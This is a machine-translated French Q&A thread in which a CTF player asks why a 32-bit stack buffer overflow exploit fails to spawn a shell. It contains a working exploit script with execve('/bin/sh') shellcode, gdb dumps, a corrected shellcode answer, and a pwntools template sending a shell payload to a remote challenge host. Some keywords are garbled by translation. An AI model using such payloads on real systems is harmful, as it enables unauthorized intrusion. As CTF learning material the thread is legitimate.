web-dev-qa-db-fra.com

Pourquoi un shell n'apparaît pas après un exploit de dépassement de tampon?

J'ai commencé à apprendre à briser la pile après son apparition lors d'un exercice de la FCE. Je m'entraîne sur un exécutable ELF 32 bits que j'ai reçu pour le CTF.

Après avoir désassemblé le fichier binaire, je trouve que le programme charge et écrit une invite et lit ensuite l'entrée sans vérifier la longueur, à l'aide de syscalls (pas de fonctions de bibliothèque).

Je le pousse un peu et je trouve que le tampon contient 20 "A" avant de planter, alors je remplis le tampon, suivi de l'adresse d'un nop-slide qui mène à mon code.

#!/usr/bin/env python2

import struct

pad = "\x41" * 20
EIP = struct.pack("I", 0xbffffebc)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 
# http://Shell-storm.org/shellcode/files/shellcode-827.php
NOP = "\x90" * 5
print pad + EIP + NOP + shellcode

Au début, la charge utile n'était qu'un appel système pour écrire "ABCD" sur l'écran, ce qui s'est déclenché avec succès.

(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
 eip = 0x804809c in _start; saved eip = 0xbffffebc
 Arglist at unknown address.
 Locals at unknown address, Previous frame's sp is 0xbffffebc
 Saved registers:
  eip at 0xbffffeb8
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffeb4: 0x41414141  0xbffffebc  0x90909090  0xc0315490
0xbffffec4: 0xc931db31  0x4168d231  0x89444342  0xb305b2e1
0xbffffed4: 0xcd04b001  0x40c03180  0x000a80cd  0xb7fff868
0xbffffee4: 0x00000021  0xb7fff000  0x00000010  0x178bfbff
0xbffffef4: 0x00000006  0x00001000  0x00000011  0x00000064
(gdb) c
Continuing.
ABCD�[Inferior 1 (process 16256) exited with code 01]

J'ai ensuite essayé un shellcode, avec un appel pour exécuter/bin/sh, et il semble que la charge utile ait été chargée, mais, après avoir exécuté le code, aucun shell n'apparaît.

(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) x/24x 0xbffffeb8-20                
0xbffffea4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffeb4: 0x41414141  0xbffffebc  0x90909090  0x50c03190
0xbffffec4: 0x732f2f68  0x622f6868  0xe3896e69  0xe1895350
0xbffffed4: 0x80cd0bb0  0x0000000a  0x00000020  0xb7fff868
0xbffffee4: 0x00000021  0xb7fff000  0x00000010  0x178bfbff
0xbffffef4: 0x00000006  0x00001000  0x00000011  0x00000064
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
 eip = 0x804809c in _start; saved eip = 0xbffffebc
 Arglist at unknown address.
 Locals at unknown address, Previous frame's sp is 0xbffffebc
 Saved registers:
  eip at 0xbffffeb8
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffffed8 in ?? ()
(gdb) x/24i $eip-24 
   0xbffffec0:  nop
   0xbffffec1:  xor    %eax,%eax
   0xbffffec3:  Push   %eax
   0xbffffec4:  Push   $0x68732f2f
   0xbffffec9:  Push   $0x6e69622f
   0xbffffece:  mov    %esp,%ebx
   0xbffffed0:  Push   %eax
   0xbffffed1:  Push   %ebx
   0xbffffed2:  mov    %esp,%ecx
   0xbffffed4:  mov    $0xb,%al
   0xbffffed6:  int    $0x80
=> 0xbffffed8:  or     (%eax),%al
   0xbffffeda:  add    %al,(%eax)
   0xbffffedc:  and    %al,(%eax)
   0xbffffede:  add    %al,(%eax)

Le fichier n'est pas protégé par la pile ou indépendant de la position.

hardening-check $(which /root/Downloads/start)
/root/Downloads/start:
 Position Independent Executable: no, normal executable!
 Stack protected: no, not found!
 Fortify Source functions: unknown, no protectable libc functions used
 Read-only relocations: no, not found!
 Immediate binding: no, not found!
 Stack clash protection: unknown, no -fstack-clash-protection instructions found
 Control flow integrity: unknown, no -fcf-protection instructions found!

Ce sont mes seuls vars d'environnement:

(gdb) show env
PWD=/root/Scripts
Shell=/bin/bash
SHLVL=0

De toute évidence, il me manque quelque chose et les choses ne sont pas aussi simples que de simplement exécuter le code. Que puis-je faire pour faire apparaître un Shell compte tenu de mes contraintes?

3
ep84

Le shellcode que vous utilisez:

   0xbffffec1:  xor    %eax,%eax
   0xbffffec3:  Push   %eax
   0xbffffec4:  Push   $0x68732f2f
   0xbffffec9:  Push   $0x6e69622f
   0xbffffece:  mov    %esp,%ebx
   0xbffffed0:  Push   %eax
   0xbffffed1:  Push   %ebx
   0xbffffed2:  mov    %esp,%ecx
   0xbffffed4:  mov    $0xb,%al
   0xbffffed6:  int    $0x80

fait en fait execve("/bin//sh",$ecx,$edx) mais il ne prend pas soin de définir $edx pour qu'il soit NULL ou un pointeur vers un tableau de pointeurs.

Vous pouvez vérifier que c'est le problème avec info registers Dans GDB.

Pour résoudre le problème, vous pouvez ajouter un xor %edx,%edx (Qui est des octets 0x31, 0xd2) N'importe où avant le int $0x80 (En prenant soin d'insérer à la limite d'une instruction, dites avant le 0xcd, 0x80) et cela devrait fonctionner.

Vous avez dit que le binaire utilise des appels système pour effectuer la lecture qui déborde le tampon, vous n'avez donc pas à vous soucier des valeurs d'octets de vos instructions (certaines fonctions comme strcpy ou gets arrêtera de copier les octets lorsqu'ils atteindront des octets nuls ou des octets 0x0A).

Dans pwn, vous utiliseriez (l'assemblage de syntaxe Intel et la fonction asm):

from pwn import asm
shellcode = asm("""
xor eax,eax
Push eax
Push 0x68732f2f
Push 0x6e69622f
mov ebx,esp
Push eax
Push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
""")

Vous pouvez également le voir sous forme d'octets:

print(disasm(shellcode))
   0:   31 c0                   xor    eax, eax
   2:   50                      Push   eax
   3:   68 2f 2f 73 68          Push   0x68732f2f
   8:   68 2f 62 69 6e          Push   0x6e69622f
   d:   89 e3                   mov    ebx, esp
   f:   50                      Push   eax
  10:   53                      Push   ebx
  11:   89 e1                   mov    ecx, esp
  13:   b0 0b                   mov    al, 0xb
  15:   31 d2                   xor    edx, edx
  17:   cd 80                   int    0x80
1
Zemows

Je suis aussi un joueur de la FCE et j'adore BoF. Veuillez d'abord vérifier cela, cela vous aidera pour BoF, aussi facile pour vous de générer un Shell: https://github.com/Gallopsled/pwntools

Si vous souhaitez générer un shell à l'aide de pwntools, il existe un exemple de code comme celui-ci:

from pwn import *
context(Arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()

Dans votre cas, vous devez vérifier s'il existe une fonction Shell disponible dans l'application utilisant Radare2, sinon vous devez l'écraser. Voici quelques ressources sur le fonctionnement de pwntools:

https://github.com/mishrasunny174/encrypt-ctf/tree/master/pwn/x86

0